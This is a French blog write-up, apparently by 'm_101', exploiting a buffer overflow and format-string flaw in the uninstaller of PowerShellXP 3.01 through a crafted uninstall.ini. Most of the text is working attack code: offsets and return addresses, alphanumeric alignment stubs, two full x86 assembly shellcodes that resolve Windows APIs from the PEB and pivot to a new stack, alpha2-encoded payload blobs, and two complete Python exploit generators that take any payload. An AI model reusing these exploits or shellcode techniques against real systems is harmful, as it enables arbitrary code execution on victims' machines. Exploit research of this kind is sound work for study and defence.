Introduction
Aujourd'hui on va attaquer PowerShellXP 3.01.
C'est une extension du shell windows (je vous avouerais que je me suis pas penché plus que ça sur ses fonctionnalitées).
Ce soft souffre d'une vulnérabilitée dans son désinstalleur comme nous allons le voir.
Trigger it!
On lance le désinstalleur et il nous affiche un gentil message :).
Après recherche dans les différents fichier dans le dossier d'installation, on trouve une ligne intéressante dans le uninstall.ini.
On change le %s en %x juste pour voir ... et coup de chance : format string ;).
Reste plus qu'à crasher ça avec un pattern metasploit.
Recherche de l'offset avec !pvefindaddr suggest.
On trouve donc 5268.
En regardant de plus près notre stack (screen 4), on voit qu'on a un pointeur sur notre pile
qui pointe directement sur notre buffer, all the win? :)
Le schéma de la stack :
Il nous suffira donc de trouver une instruction style pop/pop/ret pour retourner sur notre payload :).
On regarde en 0x4012AF et on remarque un appel à wvsprintfA() juste avant, on a localisé la vuln' ;).
On remarque que l'addresse du buffer se trouve en 0x406E70 (huh?) et qu'on re-écrit EIP au bout de 5268 octets ... bizarre. Donc on a EIP qui se trouve en 0x408304.
Regardons un peu qu'es-ce qu'on re-écrit :
On tape donc dans la section des imports. En regardant les imports vers 0x408304 ... on a wvsprintfA() ;). A l'appel de celle-ci on redirige en fait notre code directos sur notre payload :).
En posant un breakpoint au début de la fonction appellée (0x40127C) on voit ça :
Un peu plus bas sur la pile on peut voir qu'on a un retour vers 0x40330F, on va à cette addresse et on voit 1 appel avant notre fonction en 0x401512 qui fait un appel vers lstrcpyA() ... et voilà d'où vient la vuln ;).
Et l'appel à notre lstrcpyA() :
Donc pour résumer, on a 2 vulnérabilitée:
- un buffer overflow due à lstrcpyA()
- une format string s'en suivant due à l'appel de wvsprintfA() avec le format qu'on controle ;)
Et voilà, maintenant il nous reste juste le code d'alignement pour notre shellcode
qu'on va encoder en utilisant l'alpha2.
Alignment code
Voilà le code d'alignement (veuillez vous reférer à mon article sur Xion Audio Player
exploitation pour de plus amples explication sur la manière de construire un code
d'alignement ;) ) :
# alignment code # dec esp # dec esp # dec esp # dec esp align = 'L' * 4 # pop esp (make esp point to data) align += '\\' # popad align += 'a' align += 'K' * 18 # junk byte :) align += 'C' * 4 # ecx align += 'C' * 4 # eax
J'ai choisi ESP en base address car plus facile à aligner (grâce à popad :)).
C'est pour cette raison que je fais pointer ESP vers la section .data directement ^^.
Bon maintenant on a tous les éléments en main pour construire notre exploit.
Pawned?
Aller on essaie avec une payload calculatrice classique ;) :
Ouch, "Access Violation" à cause d'un PUSH, c'est dû au fait qu'on atteint la fin de la section .data :s. On va solutionner ça avec un shellcode windows maison qui va allouer une nouvelle stack tout simplement :).
Let's shellcode!
Pour cette partie je vous conseille de vous documenter sur le format de fichier exécutable PE et sur le shellcoding Windows (le document de skape est très bon :)).
Le déroulement d'un shellcode windows est généralement le suivant :
- parcours du PEB à la recherche de la base de kernel32.dll
- resolutions des fonctions nécessaires de kernel32.dll
- parsing de l'EAT à la recherche des exports correspondants
- appel des fonctions
Un peu de parsing du fichier PE, on trouve nos imports et on fais nos appels
comme il faut :).
Ca nous donne la payload suivante :
bits 32 ; defines PAGE_EXECUTE_READWRITE equ 0x40 HEAP_ZERO_MEMORY equ 0x8 ; 1KB KB equ 1024 MB equ 1024*KB ; 1MB stack MEMORY_SIZE equ MB GETSTUB_SIZE equ 13 ENCODER_SIZE equ 51 CURRENT_PAYLOAD_SIZE equ 861 CURRENT_PAYLOAD_OFFSET equ CURRENT_PAYLOAD_SIZE - ENCODER_SIZE - GETSTUB_SIZE PAYLOAD_SIZE equ 5268-CURRENT_PAYLOAD_OFFSET ; hash : kernel32.dll GETPROCESSHEAPHASH equ 0xa80eecae VIRTUALPROTECTHASH equ 0x7946c61b LOADLIBRARYAHASH equ 0xec0e4e8e ; hash : ntdll.dll RTLALLOCATEHEAPHASH equ 0x3e192526 section .text global main alloc_start: main: ; get current stub address jmp short redirect get_eip_ret: pop eax ; eip jmp current_payload redirect: call get_eip_ret current_payload: sub esp, 0x20 mov ebp, esp mov [ebp+ADDRESS_STUB], eax ; search kernel32 base address call find_kernel32 ; resolve kernel32 symbols ; base of kernel32.dll mov edx, eax mov esi, [ebp+ADDRESS_STUB] add esi, kernel32_hash_table - GETSTUB_SIZE mov ecx, esi add ecx, 12 ; 3 symbols to resolve lea edi, [ebp+KERNEL32_FUNC_TABLE] call resolve_symbols_for_dll ; LoadLibraryA('ntdll.dll') mov ebx, [ebp+ADDRESS_STUB] add ebx, ntdll_dll - GETSTUB_SIZE push ebx ; 'ntdll.dll' call [ebp+LOADLIBRARYA] ; resolve ntdll symbols ; base of ntdll.dll mov edx, eax mov ecx, esi ; restore clobbered ecx (due to LoadLibraryA) add ecx, 4 ; 1 symbol to resolve call resolve_symbols_for_dll ; LoadLibraryA('user32.dll') mov ebx, [ebp+ADDRESS_STUB] add ebx, user32_dll - GETSTUB_SIZE push ebx ; 'user32.dll' call [ebp+LOADLIBRARYA] ; resolve user32 symbols ; base of user32.dll mov edx, eax mov ecx, esi ; restore clobbered ecx (due to LoadLibraryA) add ecx, 4 ; 1 symbol to resolve call resolve_symbols_for_dll ; GetProcessHeap call [ebp+GETPROCESSHEAP] ; RtlAllocateHeap() ... same result as HeapAlloc() push MEMORY_SIZE ; dwBytes push HEAP_ZERO_MEMORY ; dwFlags push eax ; hHeap call [ebp+RTLALLOCATEHEAP] push eax ; save allocated memory address ; VirtualProtect() lea ecx, [ebp+OLDPROTECT] push ecx ; lpflOldProtect push PAGE_EXECUTE_READWRITE ; flNewProtect push MEMORY_SIZE ; dwSize push eax ; lpAddress call [ebp+VIRTUALPROTECT] ; get allocated memory address back :) pop edx ; set new stack :) add edx, MEMORY_SIZE push edx pop esp ; show message :) push 0 ; uType = MB_OK mov ebx, [ebp+ADDRESS_STUB] add ebx, pawnTitle - GETSTUB_SIZE push ebx ; lpCaption = 'Hacked! :)' mov ebx, [ebp+ADDRESS_STUB] add ebx, pawnMsg - GETSTUB_SIZE push ebx ; lpText = 'Pawned by m_101' push 0 ; hWnd = NULL = no owner window call [ebp+MESSAGEBOX] ; we compute payload address for jmp mov eax, [ebp+ADDRESS_STUB] mov ebx, CURRENT_PAYLOAD_OFFSET add eax, ebx ; jmp to payload jmp eax ; get kernel32 module base address from PEB ; void* find_kernel32(void) find_kernel32: xor eax, eax add eax, [fs:eax+0x30] ; eax = PEB js short method_9x method_nt: mov eax, [eax + 0ch] ; PEB_LDR_DATA * mov esi, [eax + 1ch] ; PEB_LDR_DATA.InInitializationOrderModuleList lodsd ; eax = [esi] get kernel32 entry mov eax, [eax + 08h] ; kernel32 DllBase jmp short kernel32_ptr_found method_9x: mov eax, [eax + 34h] lea eax, [eax + 7ch] mov eax, [eax + 3ch] kernel32_ptr_found: ret ; resolve function address ; void* find_function (void *base, unsigned int hash) find_function: pushad ; save all registers ^^ mov ebp, [esp + 0x24] ; VA base address of module mov eax, [ebp + 0x3c] ; pe header mov edx, [ebp + eax + 0x78] ; get export address table add edx, ebp ; VA of EAT mov ecx, [edx + 0x18] ; number of exported functions mov ebx, [edx + 0x20] ; name table add ebx, ebp ; VA of name table find_function_loop: jecxz find_function_finished ; if ecx == 0 then unresolved dec ecx ; one entry less to check mov esi, [ebx + ecx * 4] ; name offset of current symbol add esi, ebp ; VA of name compute_hash: xor edi, edi ; hash = 0 xor eax, eax ; character cld ; assure it increment by setting DF=0 compute_hash_again: lodsb ; test al, al ; end of string reached? jz compute_hash_finished ; if yes, finished to hash ror edi, 0xd ; rotate right for 13 bits add edi, eax ; hash jmp compute_hash_again compute_hash_finished: find_function_compare: cmp edi, [esp + 0x28] ; does it match requested hash? jnz find_function_loop ; if not we continue searching mov ebx, [edx + 0x24] ; ordinal table offset add ebx, ebp ; VA of ordinal table offset mov cx, [ebx + 2 * ecx] ; current ordinal mov ebx, [edx + 0x1c] ; address table offset add ebx, ebp ; VA of address table offset mov eax, [ebx + 4 * ecx] ; relative function offset add eax, ebp ; function VA yeepee! mov [esp + 0x1c], eax ; patch saved eax value find_function_finished: popad ; restore :) ret 8 ; void resolve_symbols_for_dll (edx = base of dll, edi = resolved addresses, esi = hash table address, ecx == end of hash table) resolve_symbols_for_dll: lodsd push eax push edx call find_function mov [edi], eax add edi, 0x4 ; go forward in address table cmp esi, ecx jnz resolve_symbols_for_dll ret ; offset compared to ebp ;) ; kernel32 KERNEL32_FUNC_TABLE equ 0 GETPROCESSHEAP equ 0 VIRTUALPROTECT equ 4 LOADLIBRARYA equ 8 ; ntdll NTDLL_FUNC_TABLE equ 12 RTLALLOCATEHEAP equ 12 ; user32 USER32_FUNC_TABLE equ 16 MESSAGEBOX equ 16 ; ADDRESS_STUB equ 20 KERNEL32_BASE equ 24 OLDPROTECT equ 28 ; hash tables kernel32_hash_table: GetProcessHeapHash dd 0xa80eecae VirtualProtectHash dd 0x7946c61b LoadLibraryAHash dd 0xec0e4e8e ntdll_hash_table: RtlAllocateHeapHash dd 0x3e192526 user32_hash_table: MessageBox dd 0xbc4da2a8 ; dll to load ntdll_dll: db 'ntdll.dll', 0 user32_dll: db 'user32.dll', 0 ; message to show :) pawnMsg: db 'Pawned by m_101', 0 pawnTitle: db 'Hacked! :)', 0 ; (alpha2 payload eax based) payload:
Le code est bien commenté donc assez compréhensible ^^.
Dans cette payload, j'effectue les actions suivantes :
- recherche de la base de kernel32
- résolution des symbôles de kernel32
- LoadLibraryA ("ntdll.dll")
- résolution des symbôles de ntdll
- allocation de mémoire :
RtlAllocateHeap(GetProcessHeap(), HEAP_ZERO_MEMORY, MEMORY_SIZE)
- VirtualProtect() // inutile ici mais ça pourrait être utile pour faire du staging par exemple ;)
- On set esp à la zone allouée
- MessageBox()
- Calcul de la position de notre "vraie" payload + jmp vers celle-ci (EAX based)
J'ai légèrement tweaké la routine de résolution des symbols de skape (ret 8 à la
fin de find_function).
Y'a moyen d'optimiser plus mais bon, ici on a 5268 octets d'espace, on a largement
de quoi faire :).
Finally hacked?
Let's try that :).
Oh yeah baby! :)
Le sploit
Comme vu dans mon shellcode windows, je fais un jmp eax après, ça explique le fait
qu'il faudra baser votre payload alpha2 encoded sur EAX ;). Si vous voulez changer
de base address, suffit de modder le shellcode ;).
Here it is :
#!/usr/bin/python # vuln finders : kmkz, zadyree, hellpast # author : m_101 # site : binholic.blogspot.com import sys if len(sys.argv) < 4: print("Usage: %s input output payload" % sys.argv[0]) exit(1) # get file content infile = sys.argv[1] fp = open(infile, 'r') content = fp.read() fp.close() # fpayload = sys.argv[3] fp = open(fpayload, 'r') payload = fp.read() fp.close() # first offset ... but not enough room # ret_offset = 248 ret_offset = 5268 # size 118, tag = 'PAWN' allocnewstack = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkffbxyyFeWpgpUPixL5kOKOKOmQzLupS0uPS0mY8eOy3udTKXnMgpgpwpmYKrnkqeUDmQkvssgqwpUPlIxqmQkqDLuPuP5Pnm1mUPKXDC6aePUPLKQM7dK1HCcguQwp5PbsKOpU5XmYkroyXqk1yQdDuPEPgpM8KWwpuPePlKqMDTMQYSqquQUPWpSckOPUuXk9ZblIZQmQjawtc0Gp7pKXzkGpwp7pio2u5PPhuPwpdPWpU8fh7pwpS0pPkOSeVlRpLMrmELSaQxspGpEPEPE8EPWpR0GpRp9oPUWtPZOqYR5Pgp4PGp1B3lSXEP7pGp30nkQM6tMQZcSLc1ePWpRsNksm5DoqiS0l5QC0UPpSqxs0EPEP7p9o65FpLKSub4OKWmfcwpUP7qN8kOKPeao0cTgsw000RXtLnkQPflNkpp5LNMlKspTHHkWylKQPp4lMcpQlLK1PelKsu0nkplQ4utNk2egLnkQDs5RXs1jJLKQZ6xlK3jep7qHkm3dw0INk4tnkgq8n4qkOP1o0kLNLmTYPrTgzkqZoTMeQkwXi9akOKOkO7KqletQ82U9NnkpZa4uQzKSVlKVlpKlKRzuLC1ZKLK5TnkVajHMYqTUtULaqYRC8S0LmrppRkXMuIoioKOOyfgOqO7Fds0uPEPuixNRUHl9SLnXlfnlhUKYV3vaiNn2nDNxl16gUuIenLhY2pMOLRNqdCTBLrL6NqtrLPlwp45qccUT2wCDrFNqtPlRL30rppaQg0nu5e4WPU2PyWPrMCo5aVPUauPw8cQ53PkquQtwQ5pDzGYS0A" # pop pop ret ret = "\x9e\x13\x40\x00" ecx = "\x45\x61\x39\x76" eax = "\x47\x61\x39\x76" print("Constructing alignment code") # alignment code # dec esp # dec esp # dec esp # dec esp align = 'L' * 4 # pop esp (make esp point to data) align += '\\' # popad align += 'a' align += 'K' * 18 # junk byte :) align += 'C' * 4 # ecx align += 'C' * 4 # eax # buffer need to be long enough ;) print("Padding") print("Constructing payload") # we need to allocate a new stack or it will trigger an access violation because we reach end of .data section payload = allocnewstack + payload print("Payload size : %u" % len(payload)) # let's have the minimum correct buffer length! padding = (ret_offset - len(payload) - len(align)) * 'C' print("Constructing egg") egg = align + payload + padding + ret print("Egg size : %u" % len(egg)) modified = content.replace('TESTTEST', egg) # working outfile = sys.argv[2] print ("Writing exploit file : %s" % outfile) fp = open(outfile, 'w') fp.write(modified) fp.close()
Usage :
./alpha2 esp < allocnewstack ./sploit.py uninstall.ini.tomod uninstall.ini [payload]
Le fichier uninstall.ini.tomod est fourni en fin d'article.
Comment ça, ça servait à rien de shellcoder une payload maison?
:) bah oui y'a quand même plus simple hein que de devoir faire une payload d'allocation d'une nouvelle stack ... fallait bien que je trouve une excuse pour le shellcoding windows et puis c'est quand même plus classe de pouvoir crafter ses propres payloads :p. Anyway, suffit de tweaké un peu mieux notre code d'alignement pour que tout roule nickel ;).
# alignment code # dec esp # dec esp # dec esp # dec esp align = 'L' * 4 # push esp ; save current esp register align += 'T' # pop edx ; save in edx align += 'Z' # pop esp (make esp point to data) align += '\\' # push edx ; old esp register align += 'R' # edi # popad align += 'a' # align += ecx # align += eax # we get actual value (for later restore ;)) # pop ecx # push ecx align += "\x59\x51" # push esp # pop eax ; here the code is adjusted but we still need to restore old stack align += 'TX' # we repatch the stack (or we may have bad memory access ;)) # push ecx align += "\x51" # we don't want our current instructions to be crushed # dec esp * 4 align += 'L' * 8 # push edi ; old stack align += 'W' # pop esp ; restore old stack align += '\\' # junk bytes align += 'K' * 4 # scrape space (esp point here)
Ici le registre de base est EAX par contre (push esp, pop eax) vu qu'on restore
l'ancienne stack. Et wala, on est passé de 1362 octets à 501 octets sans la
payload maison ;). Bien sûr, vous pourrez toujours en ajouter une maintenant
que vous savez faire :). Les push ecx sont là pour restorer les instructions
écrasées sur la stack (qu'on exécute!) sinon on peut avoir un access violation!
Au final, notre shellcode ressemble désormais à ça :
bits 32 ; defines PAGE_EXECUTE_READWRITE equ 0x40 HEAP_ZERO_MEMORY equ 0x8 ; 1KB KB equ 1024 MB equ 1024*KB ; 1MB stack MEMORY_SIZE equ MB GETSTUB_SIZE equ 13 ENCODER_SIZE equ 51 CURRENT_PAYLOAD_SIZE equ 585 CURRENT_PAYLOAD_OFFSET equ CURRENT_PAYLOAD_SIZE - ENCODER_SIZE - GETSTUB_SIZE PAYLOAD_SIZE equ 5268-CURRENT_PAYLOAD_OFFSET ; hash MESSAGEBOXAHASH equ 0xbc4da2a8 LOADLIBRARYAHASH equ 0xec0e4e8e section .text global main alloc_start: main: ; get current stub address jmp short redirect get_eip_ret: pop eax ; eip jmp current_payload redirect: call get_eip_ret current_payload: sub esp, 0x20 ; make room on stack to store pointers mov ebp, esp mov [ebp+ADDRESS_STUB], eax ; search kernel32 base address call find_kernel32 ; kernel32.dll ; resolve LoadLibraryA push LOADLIBRARYAHASH push eax call find_function mov [ebp+LOADLIBRARYA], eax ; LoadLibraryA('user32.dll') mov ebx, [ebp+ADDRESS_STUB] add ebx, user32_dll - GETSTUB_SIZE push ebx ; 'user32.dll' call [ebp+LOADLIBRARYA] ; user32.dll ; resolve MessageBoxA push MESSAGEBOXAHASH push eax call find_function mov [ebp+MESSAGEBOXA], eax ; show message :) push 0 ; uType = MB_OK mov ebx, [ebp+ADDRESS_STUB] add ebx, pawnTitle - GETSTUB_SIZE push ebx ; lpCaption = 'Hacked! :)' mov ebx, [ebp+ADDRESS_STUB] add ebx, pawnMsg - GETSTUB_SIZE push ebx ; lpText = 'Pawned by m_101' push 0 ; hWnd = NULL = no owner window call [ebp+MESSAGEBOXA] ; we compute payload address for jmp mov eax, [ebp+ADDRESS_STUB] mov ebx, CURRENT_PAYLOAD_OFFSET add eax, ebx ; jmp to payload jmp eax ; get kernel32 module base address from PEB ; void* find_kernel32(void) find_kernel32: xor eax, eax add eax, [fs:eax+0x30] ; eax = PEB js short method_9x method_nt: mov eax, [eax + 0ch] ; PEB_LDR_DATA * mov esi, [eax + 1ch] ; PEB_LDR_DATA.InInitializationOrderModuleList lodsd ; eax = [esi] get kernel32 entry mov eax, [eax + 08h] ; kernel32 DllBase jmp short kernel32_ptr_found method_9x: mov eax, [eax + 34h] lea eax, [eax + 7ch] mov eax, [eax + 3ch] kernel32_ptr_found: ret ; resolve function address ; void* find_function (void *base, unsigned int hash) find_function: pushad ; save all registers ^^ mov ebp, [esp + 0x24] ; VA base address of module mov eax, [ebp + 0x3c] ; pe header mov edx, [ebp + eax + 0x78] ; get export address table add edx, ebp ; VA of EAT mov ecx, [edx + 0x18] ; number of exported functions mov ebx, [edx + 0x20] ; name table add ebx, ebp ; VA of name table find_function_loop: jecxz find_function_finished ; if ecx == 0 then unresolved dec ecx ; one entry less to check mov esi, [ebx + ecx * 4] ; name offset of current symbol add esi, ebp ; VA of name compute_hash: xor edi, edi ; hash = 0 xor eax, eax ; character cld ; assure it increment by setting DF=0 compute_hash_again: lodsb ; test al, al ; end of string reached? jz compute_hash_finished ; if yes, finished to hash ror edi, 0xd ; rotate right for 13 bits add edi, eax ; hash jmp compute_hash_again compute_hash_finished: find_function_compare: cmp edi, [esp + 0x28] ; does it match requested hash? jnz find_function_loop ; if not we continue searching mov ebx, [edx + 0x24] ; ordinal table offset add ebx, ebp ; VA of ordinal table offset mov cx, [ebx + 2 * ecx] ; current ordinal mov ebx, [edx + 0x1c] ; address table offset add ebx, ebp ; VA of address table offset mov eax, [ebx + 4 * ecx] ; relative function offset add eax, ebp ; function VA yeepee! mov [esp + 0x1c], eax ; patch saved eax value find_function_finished: popad ; restore :) ret 8 ; offset compared to ebp ;) ; kernel32 KERNEL32_FUNC_TABLE equ 0 LOADLIBRARYA equ 0 ; user32 USER32_FUNC_TABLE equ 4 MESSAGEBOXA equ 4 ; ADDRESS_STUB equ 8 ; dll to load user32_dll: db 'user32.dll', 0 ; message to show :) pawnTitle: db 'Hacked! :)', 0 pawnMsg: db 'Pawned by m_101', 0 ; (alpha2 payload eax based) payload:
Et voilà le résultat :).
Dans les deuxs shellcodes vous pouvez voir que j'ai des defines pour la payload,
ça sert à calculer l'offset de la seconde payload en alpha2 qui est concaténée
à la suite ;).
Ca nous donne donc l'exploit final :
#!/usr/bin/python # vuln finders : kmkz, zadyree, hellpast # author : m_101 # site : binholic.blogspot.com import sys if len(sys.argv) < 4: print("Usage: %s input output payload" % sys.argv[0]) exit(1) # get file content infile = sys.argv[1] fp = open(infile, 'r') content = fp.read() fp.close() # fpayload = sys.argv[3] fp = open(fpayload, 'r') payload = fp.read() fp.close() # first offset ... but not enough room # ret_offset = 248 ret_offset = 5268 # pop pop ret ret = "\x9e\x13\x40\x00" ecx = "\x45\x61\x39\x76" eax = "\x47\x61\x39\x76" print("Constructing alignment code") # alignment code # dec esp # dec esp # dec esp # dec esp align = 'L' * 4 # push esp ; save current esp register align += 'T' # pop edx ; save in edx align += 'Z' # pop esp (make esp point to data) align += '\\' # push edx ; old esp register align += 'R' # edi # popad align += 'a' # align += ecx # align += eax # we get actual value (for later restore ;)) # pop ecx # push ecx align += "\x59\x51" # push esp # pop eax ; here the code is adjusted but we still need to restore old stack align += 'TX' # we repatch the stack (or we may have bad memory access ;)) # push ecx align += "\x51" # we don't want our current instructions to be crushed # dec esp * 4 align += 'L' * 8 # push edi ; old stack align += 'W' # pop esp ; restore old stack align += '\\' # junk bytes align += 'K' * 4 # scrape space (esp point here) # buffer need to be long enough ;) print("Padding") print("Constructing payload") msg = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIhkS62xKYc5wpC0uP9xZUKOkOyonahlwP5PEPuPK9kUOySuc8kXf6Gp5Ps0Phnn0NdNzLPPm81yS05Ps0NiQUuPLKsmEXmQO38WePEP5PPSYoPUuPsXMxOR2mMlPPKXrnePgpwpOyG5Vd0h5P7p5PuPLKCm38mQksJB5PC05PpSLKSmS8NaiSJMgpgpwpQCSXwpuPS0GpKOpUTDlKBedHmks9uRWp5PvazxioKP01O0PdUS3ptp1hvlLKQPTLnkRPglnMNkcpS8XkUYNk1PttnmCpsLnksp7LySQpnkbLddQ4lKPE5lLKrtuUrX5Q8jLK3zTXNkQJ5peQXkysvWSyNkP4LKuQXnTq9otqyPKLNLMTKp444JyQXOTMWqKwyyIaKOKOKOwKcL145x45YNLK3jTdeQ8kCVNkflbkNk0ZULs18klKuTLKgqKXLIW4VDglE1hBUXWpt5cC1uBRUcGBfN2DPl0lWpaXpa2C2K3UpdTaup7JUyuPPPu1RWPnQuPdupsRaiUpBMcotqtpvQWpA" payload = msg + payload print("Payload size : %u" % len(payload)) # let's have the minimum correct buffer length! padding = (ret_offset - len(payload) - len(align)) * 'C' print("Constructing egg") egg = align + payload + padding + ret print("Egg size : %u" % len(egg)) modified = content.replace('TESTTEST', egg) # working outfile = sys.argv[2] print ("Writing exploit file : %s" % outfile) fp = open(outfile, 'w') fp.write(modified) fp.close()
Usage :
./alpha2 eax < allocnewstack ./sploit.py uninstall.ini.tomod uninstall.ini [payload]
Le fichiers nécessaire uninstall.ini.tomod est fourni en fin d'article.
Conclusion
Comment quoi on aura pu voir que les overflow ne se déroulent pas qu'en stack,
mais aussi dans toutes les autres sections ou on peut écrire/exécuter du code ;).
En plus de tout ça, un avant-goût a été donné sur le shellcoding windows.
J'espère que ça vous a plut,
Have fun,
m_101
- [URL] Dessinez des stacks en LaTeX
- [URL] PowerShell XP 3.01
- [Fichier] uninstall.ini.tomod
- [Exploit] PowerShell XP 3.01 exploit
Comme toujours un superbe article...
RépondreSupprimerNice one! :)
RépondreSupprimer